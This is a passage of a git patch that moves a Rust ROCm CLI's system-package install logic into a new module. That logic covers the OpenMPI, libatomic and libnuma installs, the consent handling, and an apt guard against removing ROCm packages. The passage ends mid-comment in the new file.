From 6eb5fbf5636ca6f36a9c8bb08411abe3fd103659 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Mon, 2 Nov 2026 17:38:20 +0000 Subject: [PATCH 01/12] refactor(rocm): move the host system-package installs out of runtime_install_finalize.rs into system_packages.rs Step 1 of 7 in splitting runtimes_cmd.rs, runtime_install_finalize.rs and driver_install.rs into focused modules. system_packages.rs is a leaf that uses only std, anyhow and rocm_core. It takes the OpenMPI, libatomic and libnuma install flows, the print-or-run decision (SystemPackageInstallAction), the apt guard that refuses removals of ROCm packages, the argv runner and real_os_release. SdkInstallConsents stays where it is: it carries a therock consent type, and the moved functions take a plain bool. Moved code is byte-identical apart from the edits below. Non-move edits: - runtime_install_finalize.rs re-exports ensure_openmpi_for_vllm, ensure_libatomic_for_torch and ensure_libnuma_for_torch so main.rs and engines_cmd.rs keep their imports; real_os_release is not re-exported. - driver_install.rs imports real_os_release from crate::system_packages instead of crate::runtime_install_finalize, which removes its only reference to that module. - runtime_install_finalize.rs: the module doc no longer says driver_install.rs reads real_os_release from it and points at system_packages.rs; its anyhow import drops Context and bail, its std::process import is dropped, and its test module imports Context as _ itself and drops the chat and providers imports the moved test used. - main.rs declares the new module. - Two tests move with the code: an_injected_consent_does_not_approve_privileged_package_installs and real_os_release_ignores_a_simulated_host_root (with its ExpectedOsRelease helper). The first reaches the consent helper through the existing pub(crate) runtime_install_finalize::tests::consents_for_install_sdk_argv, so no production item is widened for a test. - docs/testing.md and the rocm-core openmpi.rs doc comment name system_packages::real_os_release; docs/architecture.md gets an entry for the new file and updated entries for the two source files. The leaf-name test list is unchanged. Signed-off-by: Jussi Elo --- apps/rocm/src/driver_install.rs | 2 +- apps/rocm/src/main.rs | 1 + apps/rocm/src/runtime_install_finalize.rs | 598 +-------------------- apps/rocm/src/system_packages.rs | 608 ++++++++++++++++++++++ crates/rocm-core/src/openmpi.rs | 2 +- docs/architecture.md | 5 +- docs/testing.md | 2 +- 7 files changed, 629 insertions(+), 589 deletions(-) create mode 100644 apps/rocm/src/system_packages.rs diff --git a/apps/rocm/src/driver_install.rs b/apps/rocm/src/driver_install.rs index 059326f7b0..9b83dcc7f6 100644 --- a/apps/rocm/src/driver_install.rs +++ b/apps/rocm/src/driver_install.rs @@ -27,7 +27,7 @@ use rocm_core::{AppPaths, ExamineSummary, shell_command_for_host}; use serde::{Deserialize, Serialize}; use crate::cli_report; -use crate::runtime_install_finalize::real_os_release; +use crate::system_packages::real_os_release; /// Whether `rocm install driver` only reports on this OS. True on native /// Windows, where the plan is `windows_validate_only` and runs nothing; the diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index 13ab1ceac3..026eae9f22 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -57,6 +57,7 @@ mod services_cmd; mod services_text; mod setup_cmd; mod storage; +mod system_packages; #[cfg(test)] mod test_support; mod therock; diff --git a/apps/rocm/src/runtime_install_finalize.rs b/apps/rocm/src/runtime_install_finalize.rs index 71c34ddadb..e224d53d2c 100644 --- a/apps/rocm/src/runtime_install_finalize.rs +++ b/apps/rocm/src/runtime_install_finalize.rs @@ -7,24 +7,24 @@ //! //! Mechanically relocated from `main.rs` with no behavior change. //! -//! Called from `install_cmd.rs`'s `install()` (the SDK-install path), from -//! `engines_cmd.rs` (engine install) and, for `real_os_release`, from -//! `driver_install.rs`. +//! Called from `install_cmd.rs`'s `install()` (the SDK-install path) and from +//! `engines_cmd.rs` (engine install). //! //! It calls into the sibling `runtimes_cmd.rs` for runtime activation; //! `runtimes_cmd.rs` reaches back only from its own test module. //! +//! The host system-package installation (`ensure_openmpi_for_vllm`, +//! `ensure_libatomic_for_torch`, `ensure_libnuma_for_torch`) lives in +//! `system_packages.rs`; this module re-exports those three names for +//! `install_cmd.rs` and `engines_cmd.rs`. +//! //! `SdkInstallConsents` stays `pub(crate)` and is read from `install()`; -//! several torch/dependency/device helpers (`ensure_openmpi_for_vllm`, -//! `ensure_libatomic_for_torch`, `ensure_libnuma_for_torch`, -//! `settle_engine_install`) are also `pub(crate)` and read from -//! `engines_cmd.rs`. +//! `settle_engine_install` is also `pub(crate)` and read from `engines_cmd.rs`. use std::fmt::Write as _; use std::path::{Path, PathBuf}; -use std::process::{Command as ProcessCommand, Stdio}; -use anyhow::{Context, Result, bail}; +use anyhow::Result; use rocm_core::{ AppPaths, ExamineSummary, RocmCliConfig, preferred_serve_engine_for_host_gpu_summary, }; @@ -38,6 +38,9 @@ use crate::engines_cmd::{ use crate::runtimes_cmd::{ activate_runtime, newest_installed_runtime_manifest, recover_setup_runtime_registration, }; +pub(crate) use crate::system_packages::{ + ensure_libatomic_for_torch, ensure_libnuma_for_torch, ensure_openmpi_for_vllm, +}; use crate::therock; use crate::{ROLLBACK_RECOVERY_HINT, record_cli_audit_event, runtime_services, sanitize_log_value}; @@ -107,424 +110,6 @@ impl SdkInstallConsents { } } -/// What to do with a distro-aware system-package install plan, given the caller's -/// approval and what this host lets us do without a password. -#[derive(Clone, Copy, Debug, PartialEq, Eq)] -enum SystemPackageInstallAction { - /// Print the commands (and the preflight checks) and continue without them. - /// Nothing privileged is run, so nothing can block on a password prompt. - PrintManualCommands, - /// Run the plan. `run_system_package_install_plan` inherits stdin so an - /// interactive `sudo` password prompt can be answered. - RunPlan { - /// The `approval:` line explaining why this was allowed to run. - approval: &'static str, - /// Whether a failed command is an error rather than a warning. Only an - /// explicit approval escalates: the automatic (root/passwordless) path - /// must never let a missing system package fail an unattended install. - escalate_failure: bool, - }, -} - -/// Decide between the two, given whether the *system-package* consent was granted -/// and whether the host can install without prompting. -/// -/// Split out from the two callers below so the decision is testable without a -/// package manager, and so the "approved but no way to answer a password prompt" -/// case has one place to be reasoned about. -const fn system_package_install_action( - approved: bool, - can_autoinstall: bool, -) -> SystemPackageInstallAction { - if !approved && !can_autoinstall { - return SystemPackageInstallAction::PrintManualCommands; - } - SystemPackageInstallAction::RunPlan { - approval: if approved { - "granted by --yes" - } else { - "auto (root or passwordless sudo available)" - }, - escalate_failure: approved, - } -} - -/// The real host's `/etc/os-release`, falling back to `/usr/lib/os-release` -/// when the former is absent (per `os-release(5)`). -/// -/// Deliberately not routed through `rocm_core::host_path`: every caller builds -/// a package-manager plan (`apt`, `dnf`, `zypper`) that then runs against the -/// real machine, so a simulated host root must not choose its distro. The descriptive distro name `examine` reports comes from -/// `ExamineSummary::gather`'s `distro` field, which does follow a simulated -/// root. -pub(crate) fn real_os_release() -> rocm_core::hardware_root::OsRelease { - rocm_core::hardware_root::read_os_release(rocm_core::hardware_root::identity_path_for_str) -} - -/// Run a command given as an argv vector directly, without going through a shell. -/// -/// Used for [`run_system_package_install_plan`], whose commands are modeled as -/// argv vectors so no shell quoting or `sudo`-prefix string handling is needed. -fn run_argv_with_stdin(argv: &[String], stdin: Stdio) -> Result<()> { - let (program, args) = argv - .split_first() - .context("install command has no program to run")?; - let status = ProcessCommand::new(program) - .args(args) - .stdin(stdin) - .status() - .with_context(|| format!("failed to launch `{}`", argv.join(" ")))?; - if !status.success() { - bail!("`{}` exited with {status}", argv.join(" ")); - } - Ok(()) -} - -/// Ensure the OpenMPI runtime that vLLM requires is present before the vLLM wheel -/// is installed. On Linux/WSL, when OpenMPI is missing, this installs it through -/// the system package manager. -/// -/// The privileged install runs automatically when it can be performed without an -/// interactive prompt (the process is root, or passwordless `sudo` is available), -/// or when `approved` (the `--yes` flag) is set. Otherwise the distro-aware plan -/// is printed and the caller continues without it. -/// -/// Returns `Ok(())` when OpenMPI is present, was installed, or could not be -/// installed automatically without explicit approval (warn-and-continue). When -/// the user explicitly approved the install with `--yes` and it still fails, the -/// error is propagated so the caller does not silently proceed past a failure the -/// user asked to perform. -pub(crate) fn ensure_openmpi_for_vllm(approved: bool) -> Result<()> { - if cfg!(windows) { - return Ok(()); - } - let status = rocm_core::openmpi::detect_openmpi(); - if status.present { - return Ok(()); - } - - let plan = rocm_core::openmpi::plan_for_os_release_read( - &real_os_release(), - rocm_core::openmpi::build_openmpi_install_plan, - ); - - println!("openmpi setup"); - println!( - " reason: vLLM requires the OpenMPI runtime (libmpi.so / mpirun), which was not found" - ); - if let Some(manager) = plan.package_manager.as_deref() { - println!(" package_manager: {manager}"); - } - println!(" detail: {}", plan.reason); - - if !plan.supported { - eprintln!( - "warning: could not determine how to install OpenMPI automatically; install it manually so vLLM can load libmpi.so" - ); - return Ok(()); - } - - println!(" commands:"); - for command in &plan.commands { - println!(" {command}"); - } - - let can_autoinstall = rocm_core::openmpi::can_autoinstall(); - let SystemPackageInstallAction::RunPlan { - approval, - escalate_failure, - } = system_package_install_action(approved, can_autoinstall) - else { - for check in &plan.preflight_checks { - println!(" preflight: {check}"); - } - eprintln!("warning: OpenMPI is required by vLLM but was not installed automatically"); - eprintln!( - "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" - ); - return Ok(()); - }; - - println!(" approval: {approval}"); - match run_system_package_install_plan(&plan) { - Ok(()) => { - if rocm_core::openmpi::detect_openmpi().present { - println!(" status: installed"); - } else { - eprintln!( - "warning: OpenMPI install commands completed but the runtime (libmpi.so / mpirun) was still not found; verify the package manager output above" - ); - } - Ok(()) - } - Err(error) => { - // An explicit `--yes` is a deliberate request to perform the install; - // surface the failure so the vLLM install does not silently proceed - // past something the user asked for. The auto (unapproved) path keeps - // the warn-and-continue behavior so a missing OpenMPI never blocks an - // otherwise-unattended install. - // - // "Surface" is the exact claim, and it is not the same as failing the - // command: this error propagates out of the engine auto-install, and - // `finish_sdk_install` routes it through - // `engine_auto_install_failure_is_fatal`, which matches only - // `UnusableRuntimeAfterInstall`. So `rocm install sdk` still prints - // the failure and exits 0. Said here because the downgrade happens - // far away and reads as a non-zero exit from this site alone. - if escalate_failure { - return Err(error.context( - "OpenMPI install approved with --yes failed; rerun the commands above manually or retry without --yes to continue without OpenMPI", - )); - } - eprintln!("warning: OpenMPI install failed: {error}"); - eprintln!( - "warning: continuing vLLM install; run the commands above manually so vLLM can load libmpi.so" - ); - Ok(()) - } - } -} - -/// Static description of a PyTorch runtime library dependency that may need to -/// be installed from the system package manager. Drives [`ensure_torch_runtime_dep`] -/// so libatomic/libnuma (and any future additions) share one control flow. -struct TorchRuntimeDep { - /// Short label used in the setup header and warnings (e.g. `"libatomic"`). - name: &'static str, - /// Runtime soname referenced in status messages (e.g. `"libatomic.so.1"`). - soname: &'static str, - /// `reason:` line explaining why the dependency is required. - reason: &'static str, - /// Detection probe: returns whether the dependency is already loadable. - present: fn() -> bool, - /// Builds the distro-aware install plan from the parsed os-release fields. - build_plan: rocm_core::openmpi::InstallPlanBuilder, -} - -/// Ensure the `libatomic` runtime that PyTorch's ROCm wheel links against is -/// present. The SDK runtime wheel bundles PyTorch, and vLLM uses it too, so this -/// is invoked both after `rocm install sdk` and during `rocm engines install -/// vllm`. On Linux/WSL, when `libatomic.so.1` is missing it installs it through -/// the system package manager (automatically when no interactive prompt is -/// needed or when `approved`, otherwise it prints the distro-aware plan). Never -/// blocks or fails the install (warn-and-continue). It is a no-op when -/// libatomic is already present. -pub(crate) fn ensure_libatomic_for_torch(approved: bool) { - ensure_torch_runtime_dep( - approved, - &TorchRuntimeDep { - name: "libatomic", - soname: "libatomic.so.1", - reason: "PyTorch's ROCm wheel requires the libatomic runtime (libatomic.so.1), which was not found", - present: rocm_core::openmpi::libatomic_present, - build_plan: rocm_core::openmpi::build_libatomic_install_plan, - }, - ); -} - -/// Ensure the real `libnuma` (numactl) runtime that PyTorch's ROCm wheel binds -/// is present. Like [`ensure_libatomic_for_torch`], this is invoked after -/// `rocm install sdk` and during `rocm engines install vllm`. PyTorch's -/// `libc10.so` binds `libnuma.so.1`'s `libnuma_1.2` symbols; the ROCm SDK only -/// bundles numa under a renamed soname with rewritten versions that cannot -/// satisfy it, so the upstream numactl runtime must be installed from the system -/// package manager. On Linux/WSL, when `libnuma.so.1` is missing it installs it -/// automatically when no interactive prompt is needed or when `approved`, -/// otherwise it prints the distro-aware plan. Never blocks or fails the install -/// (warn-and-continue). No-op when libnuma is already present. -pub(crate) fn ensure_libnuma_for_torch(approved: bool) { - ensure_torch_runtime_dep( - approved, - &TorchRuntimeDep { - name: "libnuma", - soname: "libnuma.so.1", - reason: "PyTorch's ROCm wheel requires the system numactl runtime (libnuma.so.1 with libnuma_1.2), which was not found", - present: rocm_core::openmpi::libnuma_present, - build_plan: rocm_core::openmpi::build_libnuma_install_plan, - }, - ); -} - -/// Whether an E2E scenario has asked to skip the torch runtime dependency -/// checks entirely. These checks run a real system package-manager install -/// (`apt-get` or equivalent) whenever a dependency happens to be missing on -/// the host, which is slow, network-dependent, and mutates host state — none -/// of which a PTY scenario testing an unrelated concern (e.g. the download -/// spinner) should depend on. Only active under `e2e-test-hooks`; production -/// builds always run the real check. -#[cfg(feature = "e2e-test-hooks")] -fn torch_runtime_dep_checks_disabled() -> bool { - std::env::var_os("ROCM_CLI_DISABLE_TORCH_RUNTIME_DEP_CHECKS").is_some() -} - -#[cfg(not(feature = "e2e-test-hooks"))] -const fn torch_runtime_dep_checks_disabled() -> bool { - false -} - -/// Shared control flow behind [`ensure_libatomic_for_torch`] and -/// [`ensure_libnuma_for_torch`]: detect the dependency, print the distro-aware -/// plan, and (when approved or auto-installable) run it via -/// [`run_system_package_install_plan`]. Always warn-and-continue; never fails the -/// caller. No-op on Windows or when the dependency is already present. -fn ensure_torch_runtime_dep(approved: bool, dep: &TorchRuntimeDep) { - if cfg!(windows) { - return; - } - if torch_runtime_dep_checks_disabled() { - return; - } - if (dep.present)() { - return; - } - - let plan = rocm_core::openmpi::plan_for_os_release_read(&real_os_release(), dep.build_plan); - - println!("{} setup", dep.name); - println!(" reason: {}", dep.reason); - if let Some(manager) = plan.package_manager.as_deref() { - println!(" package_manager: {manager}"); - } - println!(" detail: {}", plan.reason); - - if !plan.supported { - // The distro is unknown, or its release file is unreadable (the detail - // above names the line), or the dependency ships with the base - // toolchain; nothing actionable to auto-install. - return; - } - - println!(" commands:"); - for command in &plan.commands { - println!(" {command}"); - } - - let can_autoinstall = rocm_core::openmpi::can_autoinstall(); - // `escalate_failure` is deliberately ignored here: a missing libatomic/libnuma - // only warns, whatever approved the attempt. - let SystemPackageInstallAction::RunPlan { approval, .. } = - system_package_install_action(approved, can_autoinstall) - else { - for check in &plan.preflight_checks { - println!(" preflight: {check}"); - } - eprintln!( - "warning: {} is required by PyTorch but was not installed automatically", - dep.name - ); - eprintln!( - "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" - ); - return; - }; - - println!(" approval: {approval}"); - match run_system_package_install_plan(&plan) { - Ok(()) => { - if (dep.present)() { - println!(" status: installed"); - } else { - eprintln!( - "warning: {} install commands completed but {} was still not found; verify the package manager output above", - dep.name, dep.soname - ); - } - } - Err(error) => { - eprintln!("warning: {} install failed: {error}", dep.name); - eprintln!( - "warning: continuing; run the commands above manually so PyTorch can load {}", - dep.soname - ); - } - } -} - -/// Refuse an `apt-get install` step that would remove ROCm/AMDGPU packages. -/// -/// `apt-get install -y` assumes yes for *removals* as well as installs, so a -/// dependency solution that evicts the ROCm stack would otherwise be applied -/// unattended (this runs automatically under `rocm install sdk` whenever root or -/// passwordless sudo is available). Simulating first turns that silent breakage -/// into an actionable error naming every package at risk. -/// -/// Only apt is gated: the dnf/zypper/pacman plans install additive runtime -/// packages and have no equivalent assume-yes removal path. A simulation that -/// cannot be run (apt missing, transient failure) is not treated as a refusal — -/// the real command reports the failure with better context. -fn ensure_apt_install_preserves_rocm(argv: &[String]) -> Result<()> { - let Some(simulate_argv) = rocm_core::openmpi::apt_simulate_argv(argv) else { - return Ok(()); - }; - let (program, args) = simulate_argv - .split_first() - .context("apt simulation has no program to run")?; - let Ok(output) = ProcessCommand::new(program) - .args(args) - .stdin(Stdio::null()) - .output() - else { - return Ok(()); - }; - if !output.status.success() { - return Ok(()); - } - - let removals = - rocm_core::openmpi::parse_apt_simulate_removals(&String::from_utf8_lossy(&output.stdout)); - let protected: Vec<&String> = removals - .iter() - .filter(|package| rocm_core::openmpi::is_protected_rocm_package(package)) - .collect(); - if protected.is_empty() { - return Ok(()); - } - - let rendered = |packages: &[&String]| { - packages - .iter() - .map(|package| package.as_str()) - .collect::>() - .join(", ") - }; - let others: Vec<&String> = removals - .iter() - .filter(|package| !rocm_core::openmpi::is_protected_rocm_package(package)) - .collect(); - let other_detail = if others.is_empty() { - String::new() - } else { - format!("\n other packages it would remove: {}", rendered(&others)) - }; - bail!( - "refusing to run `{}`: it would remove ROCm packages and break this installation\n ROCm packages it would remove: {}{}\n action: install the dependency manually after resolving the conflict (for example with a package version that does not evict ROCm), then rerun", - argv.join(" "), - rendered(&protected), - other_detail - ); -} - -fn run_system_package_install_plan( - plan: &rocm_core::openmpi::SystemPackageInstallPlan, -) -> Result<()> { - let root = rocm_core::openmpi::running_as_root(); - for command in &plan.commands { - // `resolved_argv` prepends `sudo` only when the command needs root and we - // are not already root (where `sudo` may be absent); the argv runs - // directly without a shell. - let argv = command.resolved_argv(root); - // Never let an automatic dependency install evict the ROCm stack. - ensure_apt_install_preserves_rocm(&argv)?; - // Inherit stdin so an interactive `sudo` password prompt (the case the - // `--yes` approval exists for) can be answered. When already root or - // passwordless sudo is configured, sudo does not prompt and the inherited - // stdin is simply unused. - run_argv_with_stdin(&argv, Stdio::inherit()) - .with_context(|| format!("system package install command failed: {command}"))?; - } - Ok(()) -} - pub(crate) fn maybe_auto_install_sdk_preferred_engine( paths: &AppPaths, finalized: &SdkInstallFinalization, @@ -1977,11 +1562,11 @@ pub(crate) mod tests { NEW_RUNTIME_KEY, OLD_RUNTIME_KEY, ScopedTestEnv, plant_service_record_on_runtime, test_app_paths, test_paths, test_runtime_manifest_for_update, }; + use anyhow::Context as _; use clap::Parser as _; use rocm_core::load_recent_audit_events; - use crate::chat::rocm_chat_tool_requested_args; - use crate::{Cli, Command, InstallTarget, providers}; + use crate::{Cli, Command, InstallTarget}; /// Resolve the argv a non-interactive surface produces the way `install()` /// does, so a test can assert what that argv actually consents to rather @@ -2006,74 +1591,6 @@ pub(crate) mod tests { SdkInstallConsents::resolve(yes, approve_replacing_active_default) } - #[test] - fn an_injected_consent_does_not_approve_privileged_package_installs() { - // The worked regression: Linux, a vLLM-preferred GPU family, OpenMPI - // absent, and neither root nor passwordless sudo. The chat, MCP and - // daemon surfaces spawn `rocm` with null stdin, so there is no terminal - // on which a `sudo` password prompt could ever be answered. Injecting - // `--yes` to clear the runtime-replacement prompt used to grant the - // second, unrelated consent that flag carries, which made - // `ensure_openmpi_for_vllm` run a sudo it cannot complete and then - // escalate the failure — aborting `maybe_auto_install_sdk_preferred_engine` - // before the vLLM engine install that previously warned and continued. - let call = providers::ChatToolCall { - id: None, - name: "install_sdk".to_owned(), - arguments: serde_json::json!({ "channel": "release", "format": "wheel" }), - }; - let injected = consents_for_install_sdk_argv( - &rocm_chat_tool_requested_args(&call).expect("install_sdk tool builds args"), - ); - assert_eq!( - injected.replace_active_default, - therock::SdkInstallConsent::Preapproved( - therock::SdkInstallApprovalSource::ApproveReplacingActiveDefault - ) - ); - assert!( - !injected.system_packages, - "an injected consent must not approve a privileged package install" - ); - assert_eq!( - system_package_install_action(injected.system_packages, false), - SystemPackageInstallAction::PrintManualCommands, - "on a host without passwordless sudo the spawn must print the commands, not run sudo" - ); - - // And the other half of the property: a `--yes` the user actually typed - // still approves both, and a failure of the install it asked for is - // still an error rather than a warning. - let typed = consents_for_install_sdk_argv(&[ - "install".to_owned(), - "sdk".to_owned(), - "--yes".to_owned(), - ]); - assert_eq!( - typed.replace_active_default, - therock::SdkInstallConsent::Preapproved(therock::SdkInstallApprovalSource::AssumeYes), - "a --yes the user typed must still be credited to --yes" - ); - assert!(typed.system_packages); - assert_eq!( - system_package_install_action(typed.system_packages, false), - SystemPackageInstallAction::RunPlan { - approval: "granted by --yes", - escalate_failure: true, - }, - ); - - // Root or passwordless sudo installs without any approval, as before — - // the consent split must not have made the automatic path conditional. - assert_eq!( - system_package_install_action(injected.system_packages, true), - SystemPackageInstallAction::RunPlan { - approval: "auto (root or passwordless sudo available)", - escalate_failure: false, - }, - ); - } - #[test] fn sdk_install_auto_engine_selection_prefers_vllm_for_supported_families() { // vLLM is unsupported on native Windows, so the SDK family preference is gated @@ -2084,93 +1601,6 @@ pub(crate) mod tests { assert_eq!(preferred_engine_for_sdk_family("gfx120X-all"), None); } - /// The real candidate path/text `real_os_release_ignores_a_simulated_host_root` - /// expects, read independently rather than by calling - /// `hardware_root::read_os_release` a second time. `Absent` and - /// `Unreadable` are not interchangeable: a non-`NotFound` error must - /// always report `Unreadable`, never silently fall through to `Absent`. - #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] - enum ExpectedOsRelease { - Found(&'static str, String), - Absent, - Unreadable(&'static str), - } - - /// The package-manager plans run against the real machine, so a simulated - /// host root must not change the distro they are built for: under a root - /// whose `/etc/os-release` names a different distro, `real_os_release` - /// still returns the real file. - #[cfg(all(feature = "e2e-test-hooks", target_os = "linux"))] - #[test] - fn real_os_release_ignores_a_simulated_host_root() { - let root = std::env::temp_dir().join(format!( - "rocm-os-release-host-root-{}-{}", - std::process::id(), - std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .map_or(0, |d| d.as_nanos()) - )); - fs::create_dir_all(root.join("etc")).expect("create planted /etc"); - fs::write( - root.join("etc/os-release"), - "ID=planted-distro\nVERSION_ID=\"99.9\"\n", - ) - .expect("write planted os-release"); - - let read = { - let mut env = ScopedTestEnv::new(); - env.set( - rocm_core::hardware_root::TEST_HOST_ROOT_ENV, - &root.to_string_lossy(), - ); - real_os_release() - }; - fs::remove_dir_all(&root).ok(); - - assert!( - !read.text().contains("planted-distro"), - "read the simulated root's os-release: {:?}", - read.text() - ); - // Independent of `hardware_root::read_os_release`: rather than call - // the exact same helper with the same identity resolver `real_os_release` - // wraps one line away (which would pass even if its `.context(...)` - // call or resolver closure broke), read both candidate paths directly - // and apply the same existence-only fallback rule inline. This mirrors - // which variant is correct for each case, rather than accepting - // `Absent` or `Unreadable` interchangeably — see `ExpectedOsRelease`'s - // own doc comment for why that distinction matters. - let expected = match fs::read_to_string("/etc/os-release") { - Ok(text) => ExpectedOsRelease::Found("/etc/os-release", text), - Err(e) if e.kind() == std::io::ErrorKind::NotFound => { - match fs::read_to_string("/usr/lib/os-release") { - Ok(text) => ExpectedOsRelease::Found("/usr/lib/os-release", text), - Err(e2) if e2.kind() == std::io::ErrorKind::NotFound => { - ExpectedOsRelease::Absent - } - Err(_) => ExpectedOsRelease::Unreadable("/usr/lib/os-release"), - } - } - Err(_) => ExpectedOsRelease::Unreadable("/etc/os-release"), - }; - match expected { - ExpectedOsRelease::Found(path, text) => { - assert_eq!((read.path(), read.text()), (path, text.as_str())); - } - ExpectedOsRelease::Absent => assert!( - matches!(&read, rocm_core::hardware_root::OsRelease::Absent), - "expected Absent, got {read:?}" - ), - ExpectedOsRelease::Unreadable(path) => assert!( - matches!( - &read, - rocm_core::hardware_root::OsRelease::Unreadable { path: p, .. } if *p == path - ), - "expected Unreadable at {path}, got {read:?}" - ), - } - } - // The install report is only as honest as the reconciliation that reaches // it: a server still on the runtime the install just replaced has to survive // `finalize_successful_sdk_install` into the finalization the report renders. diff --git a/apps/rocm/src/system_packages.rs b/apps/rocm/src/system_packages.rs new file mode 100644 index 0000000000..c98d7ec0f8 --- /dev/null +++ b/apps/rocm/src/system_packages.rs @@ -0,0 +1,608 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! Host system-package installation for the SDK and engine installs: the +//! distro-aware OpenMPI, libatomic and libnuma plans, the decision whether to run +//! one given the caller's consent, and running its commands (`sudo` apt, dnf or +//! zypper) without a shell. +//! +//! Relocated from `runtime_install_finalize.rs` with no behavior change. +//! +//! A leaf: it uses only `std`, `anyhow` and `rocm_core`. The consent bundle for +//! `rocm install sdk` (`SdkInstallConsents`) stays in `runtime_install_finalize.rs`, +//! which passes the plain `system_packages` bool in. That module re-exports +//! `ensure_openmpi_for_vllm`, `ensure_libatomic_for_torch` and +//! `ensure_libnuma_for_torch` for `main.rs` and `engines_cmd.rs`, and +//! `driver_install.rs` reads `real_os_release` from here directly. + +use std::process::{Command as ProcessCommand, Stdio}; + +use anyhow::{Context, Result, bail}; + +/// What to do with a distro-aware system-package install plan, given the caller's +/// approval and what this host lets us do without a password. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +enum SystemPackageInstallAction { + /// Print the commands (and the preflight checks) and continue without them. + /// Nothing privileged is run, so nothing can block on a password prompt. + PrintManualCommands, + /// Run the plan. `run_system_package_install_plan` inherits stdin so an + /// interactive `sudo` password prompt can be answered. + RunPlan { + /// The `approval:` line explaining why this was allowed to run. + approval: &'static str, + /// Whether a failed command is an error rather than a warning. Only an + /// explicit approval escalates: the automatic (root/passwordless) path + /// must never let a missing system package fail an unattended install. + escalate_failure: bool, + }, +} + +/// Decide between the two, given whether the *system-package* consent was granted +/// and whether the host can install without prompting. +/// +/// Split out from the two callers below so the decision is testable without a +/// package manager, and so the "approved but no way to answer a password prompt" +/// case has one place to be reasoned about. +const fn system_package_install_action( + approved: bool, + can_autoinstall: bool, +) -> SystemPackageInstallAction { + if !approved && !can_autoinstall { + return SystemPackageInstallAction::PrintManualCommands; + } + SystemPackageInstallAction::RunPlan { + approval: if approved { + "granted by --yes" + } else { + "auto (root or passwordless sudo available)" + }, + escalate_failure: approved, + } +} + +/// The real host's `/etc/os-release`, falling back to `/usr/lib/os-release` +/// when the former is absent (per `os-release(5)`). +/// +/// Deliberately not routed through `rocm_core::host_path`: every caller builds +/// a package-manager plan (`apt`, `dnf`, `zypper`) that then runs against the +/// real machine, so a simulated host root must not choose its distro. The descriptive distro name `examine` reports comes from +/// `ExamineSummary::gather`'s `distro` field, which does follow a simulated +/// root. +pub(crate) fn real_os_release() -> rocm_core::hardware_root::OsRelease { + rocm_core::hardware_root::read_os_release(rocm_core::hardware_root::identity_path_for_str) +} + +/// Run a command given as an argv vector directly, without going through a shell. +/// +/// Used for [`run_system_package_install_plan`], whose commands are modeled as +/// argv vectors so no shell quoting or `sudo`-prefix string handling is needed. +fn run_argv_with_stdin(argv: &[String], stdin: Stdio) -> Result<()> { + let (program, args) = argv + .split_first() + .context("install command has no program to run")?; + let status = ProcessCommand::new(program) + .args(args) + .stdin(stdin) + .status() + .with_context(|| format!("failed to launch `{}`", argv.join(" ")))?; + if !status.success() { + bail!("`{}` exited with {status}", argv.join(" ")); + } + Ok(()) +} + +/// Ensure the OpenMPI runtime that vLLM requires is present before the vLLM wheel +/// is installed. On Linux/WSL, when OpenMPI is missing, this installs it through +/// the system package manager. +/// +/// The privileged install runs automatically when it can be performed without an +/// interactive prompt (the process is root, or passwordless `sudo` is available), +/// or when `approved` (the `--yes` flag) is set. Otherwise the distro-aware plan +/// is printed and the caller continues without it. +/// +/// Returns `Ok(())` when OpenMPI is present, was installed, or could not be +/// installed automatically without explicit approval (warn-and-continue). When +/// the user explicitly approved the install with `--yes` and it still fails, the +/// error is propagated so the caller does not silently proceed past a failure the +/// user asked to perform. +pub(crate) fn ensure_openmpi_for_vllm(approved: bool) -> Result<()> { + if cfg!(windows) { + return Ok(()); + } + let status = rocm_core::openmpi::detect_openmpi(); + if status.present { + return Ok(()); + } + + let plan = rocm_core::openmpi::plan_for_os_release_read( + &real_os_release(), + rocm_core::openmpi::build_openmpi_install_plan, + ); + + println!("openmpi setup"); + println!( + " reason: vLLM requires the OpenMPI runtime (libmpi.so / mpirun), which was not found" + ); + if let Some(manager) = plan.package_manager.as_deref() { + println!(" package_manager: {manager}"); + } + println!(" detail: {}", plan.reason); + + if !plan.supported { + eprintln!( + "warning: could not determine how to install OpenMPI automatically; install it manually so vLLM can load libmpi.so" + ); + return Ok(()); + } + + println!(" commands:"); + for command in &plan.commands { + println!(" {command}"); + } + + let can_autoinstall = rocm_core::openmpi::can_autoinstall(); + let SystemPackageInstallAction::RunPlan { + approval, + escalate_failure, + } = system_package_install_action(approved, can_autoinstall) + else { + for check in &plan.preflight_checks { + println!(" preflight: {check}"); + } + eprintln!("warning: OpenMPI is required by vLLM but was not installed automatically"); + eprintln!( + "warning: passwordless sudo is unavailable; run the commands above manually, or rerun with --yes to approve an interactive sudo prompt" + ); + return Ok(()); + }; + + println!(" approval: {approval}"); + match run_system_package_install_plan(&plan) { + Ok(()) => { + if rocm_core::openmpi::detect_openmpi().present { + println!(" status: installed"); + } else { + eprintln!( + "warning: OpenMPI install commands completed but the runtime (libmpi.so / mpirun) was still not found; verify the package manager output above" + ); + } + Ok(()) + } + Err(error) => { + // An explicit `--yes` is a deliberate request to perform the install; + // surface the failure so the vLLM install does not silently proceed + // past something the user asked for. The auto (unapproved) path keeps + // the warn-and-continue behavior so a missing OpenMPI never blocks an + // otherwise-unattended install. + // + // "Surface" is the exact claim, and it is not the same as failing the + // command: this error propagates out of the engine auto-install, and + // `finish_sdk_install` routes it through + // `engine_auto_install_failure_is_fatal`, which matches only + // `UnusableRuntimeAfterInstall`. So `rocm install sdk` still prints + // the failure and exits 0. Said here because the downgrade happens + // far away and reads as a non-zero exit from this site alone. + if escalate_failure { + return Err(error.context( + "OpenMPI install approved with --yes failed; rerun the commands above manually or retry without --yes to continue without OpenMPI", + )); + } + eprintln!("warning: OpenMPI install failed: {error}"); + eprintln!( + "warning: continuing vLLM install; run the commands above manually so vLLM can load libmpi.so" + ); + Ok(()) + } + } +} + +/// Static description of a PyTorch runtime library dependency that may need to +/// be installed from the system package manager. Drives [`ensure_torch_runtime_dep`] +/// so 